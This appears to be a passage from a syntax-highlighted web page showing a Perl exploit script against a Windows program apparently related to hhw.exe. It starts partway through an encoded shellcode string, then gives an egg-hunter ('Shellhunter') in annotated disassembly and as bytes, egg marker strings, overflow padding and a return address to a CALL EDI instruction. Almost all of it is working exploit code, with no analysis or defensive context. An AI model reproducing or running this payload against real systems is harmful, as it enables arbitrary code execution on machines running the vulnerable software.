    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>39&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>52<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>55<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>56&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>44<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>53<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>74<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>49&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>62<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>45&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>6d<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>77<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>6b&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>57<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>4b<span style="color: #000099; font-weight: bold;">\x</span>32<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>67<span style="color: #000099; font-weight: bold;">\x</span>4c<span style="color: #000099; font-weight: bold;">\x</span>73&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>35<span style="color: #000099; font-weight: bold;">\x</span>61<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>76<span style="color: #000099; font-weight: bold;">\x</span>71<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>49<span style="color: #000099; font-weight: bold;">\x</span>4a<span style="color: #000099; font-weight: bold;">\x</span>58<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>69&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>41<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>56<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>38<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>54<span style="color: #000099; font-weight: bold;">\x</span>73<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>31&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>4e<span style="color: #000099; font-weight: bold;">\x</span>78<span style="color: #000099; font-weight: bold;">\x</span>79<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>6f<span style="color: #000099; font-weight: bold;">\x</span>7a<span style="color: #000099; font-weight: bold;">\x</span>36<span style="color: #000099; font-weight: bold;">\x</span>6e<span style="color: #000099; font-weight: bold;">\x</span>66<span style="color: #000099; font-weight: bold;">\x</span>37<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>4f<span style="color: #000099; font-weight: bold;">\x</span>5a<span style="color: #000099; font-weight: bold;">\x</span>47<span style="color: #000099; font-weight: bold;">\x</span>52&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>43<span style="color: #000099; font-weight: bold;">\x</span>65<span style="color: #000099; font-weight: bold;">\x</span>31<span style="color: #000099; font-weight: bold;">\x</span>30<span style="color: #000099; font-weight: bold;">\x</span>6c<span style="color: #000099; font-weight: bold;">\x</span>70<span style="color: #000099; font-weight: bold;">\x</span>63<span style="color: #000099; font-weight: bold;">\x</span>45<span style="color: #000099; font-weight: bold;">\x</span>50<span style="color: #000099; font-weight: bold;">\x</span>46&quot;</span><span style="color: #339933;">;</span>
&nbsp;
    <span style="color: #666666; font-style: italic;">#/----------------Advanced Shellhunter Code----------------\</span>
    <span style="color: #666666; font-style: italic;">#01D717DD   EB 1E            JMP SHORT 01D717FD            |</span>
    <span style="color: #666666; font-style: italic;">#01D717DF   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E2   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E5   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717E8   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EB   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717EE   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F1   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F4   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717F7   83C4 64          ADD ESP,64                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FA   83C4 54          ADD ESP,54                    |</span>
    <span style="color: #666666; font-style: italic;">#01D717FD   33FF             XOR EDI,EDI                   |</span>
    <span style="color: #666666; font-style: italic;">#01D717FF   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71804   8B3A             MOV EDI,DWORD PTR DS:[EDX]    |</span>
    <span style="color: #666666; font-style: italic;">#01D71806   EB 0E            JMP SHORT 01D71816            |</span>
    <span style="color: #666666; font-style: italic;">#01D71808   58               POP EAX                       |</span>
    <span style="color: #666666; font-style: italic;">#01D71809   83E8 3C          SUB EAX,3C                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7180C   50               PUSH EAX                      |</span>
    <span style="color: #666666; font-style: italic;">#01D7180D   6A FF            PUSH -1                       |</span>
    <span style="color: #666666; font-style: italic;">#01D7180F   33DB             XOR EBX,EBX                   |</span>
    <span style="color: #666666; font-style: italic;">#01D71811   64:8923          MOV DWORD PTR FS:[EBX],ESP    |</span>
    <span style="color: #666666; font-style: italic;">#01D71814   EB 05            JMP SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71816   E8 EDFFFFFF      CALL 01D71808                 |</span>
    <span style="color: #666666; font-style: italic;">#01D7181B   B8 12121212      MOV EAX,12121212              |</span>
    <span style="color: #666666; font-style: italic;">#01D71820   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71823   BA D0FAFD7F      MOV EDX,7FFDFAD0              |</span>
    <span style="color: #666666; font-style: italic;">#01D71828   83C7 20          ADD EDI,20                    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182B   893A             MOV DWORD PTR DS:[EDX],EDI    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182D   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D7182F  ^75 F7            JNZ SHORT 01D71828            |</span>
    <span style="color: #666666; font-style: italic;">#01D71831   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D71834   6BC0 02          IMUL EAX,EAX,2                |</span>
    <span style="color: #666666; font-style: italic;">#01D71837   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71839  ^75 E0            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D7183B   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7183E   B8 42424242      MOV EAX,42424242              |</span>
    <span style="color: #666666; font-style: italic;">#01D71843   3907             CMP DWORD PTR DS:[EDI],EAX    |</span>
    <span style="color: #666666; font-style: italic;">#01D71845  ^75 D4            JNZ SHORT 01D7181B            |</span>
    <span style="color: #666666; font-style: italic;">#01D71847   83C7 04          ADD EDI,4                     |</span>
    <span style="color: #666666; font-style: italic;">#01D7184A   FFE7             JMP EDI                       |</span>
    <span style="color: #666666; font-style: italic;">#\-----------------------End of Code----------------------/</span>
&nbsp;
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$shellhunter</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>1e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>64&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c4<span style="color: #000099; font-weight: bold;">\x</span>54&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>8b<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>0e&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>58&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>3c&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>50&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6a<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>33<span style="color: #000099; font-weight: bold;">\x</span>db&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>64<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>23&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>eb<span style="color: #000099; font-weight: bold;">\x</span>05&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>e8<span style="color: #000099; font-weight: bold;">\x</span>ed<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>ff&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12<span style="color: #000099; font-weight: bold;">\x</span>12&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ba<span style="color: #000099; font-weight: bold;">\x</span>d0<span style="color: #000099; font-weight: bold;">\x</span>fa<span style="color: #000099; font-weight: bold;">\x</span>fd<span style="color: #000099; font-weight: bold;">\x</span>7f&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>20&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>89<span style="color: #000099; font-weight: bold;">\x</span>3a&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>f7&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>6b<span style="color: #000099; font-weight: bold;">\x</span>c0<span style="color: #000099; font-weight: bold;">\x</span>02&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>e0&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>b8<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>39<span style="color: #000099; font-weight: bold;">\x</span>07&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>75<span style="color: #000099; font-weight: bold;">\x</span>d4&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>83<span style="color: #000099; font-weight: bold;">\x</span>c7<span style="color: #000099; font-weight: bold;">\x</span>04&quot;</span><span style="color: #339933;">.</span>
    <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>ff<span style="color: #000099; font-weight: bold;">\x</span>e7&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$lookout4</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>24<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>48<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">64</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$len</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">280</span> <span style="color: #339933;">-</span> <span style="color: #009900;">&#40;</span><span style="color: #000066;">length</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">$shellhunter</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">55</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow1</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #0000ff;">$len</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow2</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>41&quot;</span> x <span style="color: #cc66cc;">55</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$overflow3</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>42&quot;</span> x <span style="color: #cc66cc;">256</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$ret</span> <span style="color: #339933;">=</span> <span style="color: #ff0000;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>93<span style="color: #000099; font-weight: bold;">\x</span>1f<span style="color: #000099; font-weight: bold;">\x</span>40<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span><span style="color: #339933;">;</span> <span style="color: #666666; font-style: italic;">#0x00401f93   CALL EDI [hhw.exe]</span>
&nbsp;
